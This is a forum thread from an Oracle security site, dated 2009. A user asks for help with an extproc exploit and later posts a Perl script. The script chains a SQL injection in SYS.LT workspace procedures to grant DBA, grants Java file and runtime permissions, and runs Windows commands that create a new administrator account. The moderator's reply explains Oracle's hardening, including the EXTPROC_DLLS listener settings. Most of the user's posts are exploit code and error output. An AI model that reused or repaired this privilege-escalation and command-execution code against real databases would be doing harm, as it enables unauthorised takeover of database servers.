Call: +44 (0)7759 277220 Call
Forum

Welcome, Guest. Please Login.
Nov 23rd, 2024, 6:02pm
News: If you would like to register contact the forum admin
Home | Help | Search | Members | Login
   Pete Finnigan's Oracle Security Forum
   Oracle Security
   Oracle Security
(Moderator: Pete Finnigan)
   Exploite extproc
« Previous topic | Next topic »
Pages: 1  Reply | Notify of replies | Send Topic | Print
   Author  Topic: Exploite extproc  (Read 8403 times)
Pete Finnigan
PeteFinnigan.com Administrator
*****




Oracle Security is easier if you design for it

   
View Profile | WWW | Email

Gender: male
Posts: 309
Exploite extproc
« on: May 23rd, 2009, 2:53pm »
Quote | Modify

Hi ,
I try to test this vulnerability(extproc) but i have some problem :
 
Frist :I connecte as scott/tiger
Second:i excuted this code:
 
 
CREATE OR REPLACE LIBRARY exec_shell AS 'C:\WINDOWS\system32\msvcrt.dll';
 
CREATE OR REPLACE PROCEDURE oraexec (cmdstring IN CHAR)
IS EXTERNAL
NAME "system"
LIBRARY exec_shell
LANGUAGE C;
/
 
SQL>EXEC ORAEXEC('NET USER Mesli Mesli /ADD');
 
Output:
BEGIN:EXEC ORAEXEC('NET USER Mesli Mesli /ADD');END;
*
erreur a la ligne 1:
ORA-28595:  Extproc agent :invalid DLL path
ORA-06512Shocked "SCOTT.ORAEXEC" ,ligne 0
ORA-06512Shocked ligne 1.
 
 
 
I check the DLL path but  the path C:\WINDOWS\system32\msvcrt.dll is correct.
 
I try with SYS user but the some error occur.
 
PLZ Help me .
IP Logged

Pete Finnigan (email:pete@petefinnigan.com)
Oracle Security Web site: http://www.petefinnigan.com
Forum: http://www.petefinnigan.com/forum/yabb/YaBB.cgi
Oracle security blog: http://www.petefinnigan.com/weblog/entries/index.html
Pete Finnigan
PeteFinnigan.com Administrator
*****




Oracle Security is easier if you design for it

   
View Profile | WWW | Email

Gender: male
Posts: 309
Re: Exploite extproc
« Reply #1 on: May 28th, 2009, 8:50am »
Quote | Modify

Hi,
 
Thanks for your post. Yopu dont say which version of Oracle you are on but basically Oracle has added controls to prevent this from working. In earlier versions of Oracle you could do this; I am sure I have a version of this code somewhere on my site, probably against 8.1.7.
 
Oracle in 11g no longer enables extproc by default in the listener. In earlier versions Oracle added a check to make sure that the DLL loaded is in the $ORACLE_HOME/bin unless you have added parameters to allow it to run from elsewhere. The ENVS parameter of the listener.ora can be used to override this. the Worst setting would be ENVS=EXTPROC_DLLS=ANY which would give you an expolitable listener. The safest setting is to remove extproc completely, if its used then run the listener as a different user and specify EXTPROC_DLLS=ONLY and specify the path.  
 
So I am guessing this doesnt work because of the version of Oracle that you are on.  
 
Exploits are very time / version specific; thats not to say that you cannot find vulnerable systems still being used.
 
cheers
 
Pete
IP Logged

Pete Finnigan (email:pete@petefinnigan.com)
Oracle Security Web site: http://www.petefinnigan.com
Forum: http://www.petefinnigan.com/forum/yabb/YaBB.cgi
Oracle security blog: http://www.petefinnigan.com/weblog/entries/index.html
Pete Finnigan
PeteFinnigan.com Administrator
*****




Oracle Security is easier if you design for it

   
View Profile | WWW | Email

Gender: male
Posts: 309
Re: Exploite extproc
« Reply #2 on: Jun 18th, 2009, 9:51am »
Quote | Modify

Hi ,
thanks pete for your reply,i find other method (i use java ) to add both system user & administrators, i tried to write a perl script to this vulnérability but there were some problems
Code
use strict;
use warnings;  
use strict;    
use DBI;  
use DBD:Shockedracle;
use Getopt::Std;
use vars qw/ %opt /;
 
sub usage {
    print <<"USAGE";
     
Syntax: $0 -h <host> -s <sid> -u <user> -p <passwd> -U <system_user> -P <passw_user>
 
Options:
     -h     <host>     target server address
     -s     <sid> target sid name
     -u     <user>     user
     -p     <passwd>   password  
     -U     <System-user>
     -P     <Passw-user>
     
 
USAGE
    exit 0
}
 
my $opt_string = 'h:s:u:p:UTongue';
getopts($opt_string, \%opt) or &usage;
&usage if ( !$opt{h} or !$opt{s} or !$opt{u} or !$opt{p} or !$opt{U} or !$opt{P});
my $user = uc $opt{u};
my $password = $opt{p};
my $system_user = $opt{U};
my $passw_user = $opt{P};
my $dbh = DBI->connect("dbiShockedracle:host=$opt{h};sid=$opt{s}", $opt{u}, $opt{p}, $opt{U} ,$opt{P}) or die; /*line 35
 
 
 
 
$dbh->do( qq{
    CREATE OR REPLACE FUNCTION Y return varchar2
authid current_user as
pragma autonomous_transaction;
BEGIN
EXECUTE IMMEDIATE 'GRANT DBA TO $user';
COMMIT;
RETURN 'Y';
END;
/
exec SYS.LT.CREATEWORKSPACE('sh2kerr'' and $user.Y()=''Y');
exec SYS.LT.MERGEWORKSPACE('sh2kerr'' and $user.Y()=''Y');
exec dbms_java.grant_permission('$user', 'SYS:java.io.FilePermission','<<ALL FILES>>','execute');
exec dbms_java.grant_permission('$user', 'SYS:java.lang.RuntimePermission', 'writeFileDescriptor', '');
exec dbms_java.grant_permission('$user', 'SYS:java.lang.RuntimePermission', 'readFileDescriptor', '');
CREATE OR REPLACE AND RESOLVE JAVA SOURCE NAMED "JAVACMD" AS
import java.lang.*;
import java.io.*;
public class JAVACMD
{
public static void execCommand (String command) throws IOException
{
Runtime.getRuntime().exec(command);
}
};
/
CREATE OR REPLACE PROCEDURE JAVAEXEC (p_command IN VARCHAR2)
AS LANGUAGE JAVA  
NAME 'JAVACMD.execCommand (java.lang.String)';
/
exec javaexec(‘net user $system_user $passw_user /add’);
exec javaexec ('net localgroup /ADD Administrators $system_user');
 
  }
  );
 
 
print " $system_user IS a system user \n";
 
 
 
$dbh->disconnect;
 
exit;
 
OUTPUT:
DBI->connect using 'old-style' syntax is deprecated and will be an err
+or in future versions  at Add_user.pl line 35
can't use string ("1")as a HASH ref while "strict refs" in use at C:/Perl/lib/DBI.pm line 561.
 
 
 
Info:
1.i tried this with the acount Scott who is a dba (sql injection)
2.i tried the PL/SQL program and it work fine but when i try to convert Pl/SQL file to perl the precedents errors occur( system =windows server 2003 oracle version: 9iR2)
 
thank you in advance.
 
IP Logged

Pete Finnigan (email:pete@petefinnigan.com)
Oracle Security Web site: http://www.petefinnigan.com
Forum: http://www.petefinnigan.com/forum/yabb/YaBB.cgi
Oracle security blog: http://www.petefinnigan.com/weblog/entries/index.html
Pages: 1  Reply | Notify of replies | Send Topic | Print

« Previous topic | Next topic »

Powered by YaBB 1 Gold - SP 1.4!
Forum software copyright © 2000-2004 Yet another Bulletin Board
  • PFCLScan PFCLScan

    Simply connect PFCLScan to your Oracle database and it will automatically discover the security issues that could make your Oracle database vulnerable to attack and to the potential loss of your data.

  • PFCL Obfuscate PFCLObfuscate

    PFCLObfuscate is the only tool available that can automatically add license controls to your PL/SQL code. PFCLObfuscate protects your Intellectual Property invested in your PL/SQL database code.

  • PFCLCode PFCLCode

    PFCLCode is a tool to allow you to analyse your PL/SQL code for many different types of security issues. PFCLCode gives you a detailed review and reports and includes a powerful colour syntax highlighting code editor

  • PFCLForensics PFCLForensics

    PFCLForensics is the only tool available to allow you to do a detailed live response of a breached Oracle database and to then go on and do a detailed forensic analysis of the data gathered.

  • Products We resell PFCLReselling

    PeteFinnigan.com Limited has partnered with a small number of relevant companies to resell their products where they enhance or compliment what we do

  • PFCLATK PFCLATK

    PFCLATK is a toolkit that allows detailed pre-defined policy driven audit trails for your Oracle database. The toolkit also provides for a centralised audit trail and centralised activity reporting

  • PFCLCookie PFCLCookie

    PFCLCookie is a useful tool to use to audit your websites for tracking cookies. Scan websites in a natural way using powerful browser driven scanner

  • PFCL Training PFCLTraining

    PFCLTraining is a set of expert training classes for you, aimed at teaching how to audit your own Oracle database, design audit trails, secure code in PL/SQL and secure and lock down your Oracle database.

  • PFCL Services PFCLServices

    Choose PFCLServices to add PeteFinnigan.com Ltd to your team for your Oracle Security needs. We are experts in performing detailed security audits, data security design work and policy creation

  • PFCLConsulting PFCLConsulting

    Choose PFCLConsulting to ask PeteFinnigan.com Limited to set up and use our products on your behalf

  • PFCLCustom PFCLCustom

    All of our software products can be customised at a number of levels. Choose this to see how our products can be part of your products and services

  • PFCLCloud PFCLCloud

    Private cloud, public cloud, hybrid cloud or no cloud. Learn how all of our services, trainings and products will work in the cloud

  • PFCLUserRights PFCLUserRights

    PFCLUserRights allows you to create a very detailed view of database users rights. The focus of the reports is to allow you to decide what privileges and accounts to keep and which to remove.

  • PFCLSTK PFCLSTK

    PFCLSTK is a toolkit application that allows you to provide database security easily to an existing database. PFCLSTK is a policy driven toolkit of PL/SQL that creates your security

  • PFCLSFTK PFCLSFTK

    PFCLSFTK is a toolkit that solves the problem of securing third party applications written in PL/SQL. It does this by creating a thin layer between the application and database and this traps SQL Injection attempts. This is a static firewall.

  • PFCLSEO PFCLSEO

    PFCLSEO is a web scanner based on the PFCLScan technology so that a user can easily scan a website for technical SEO issues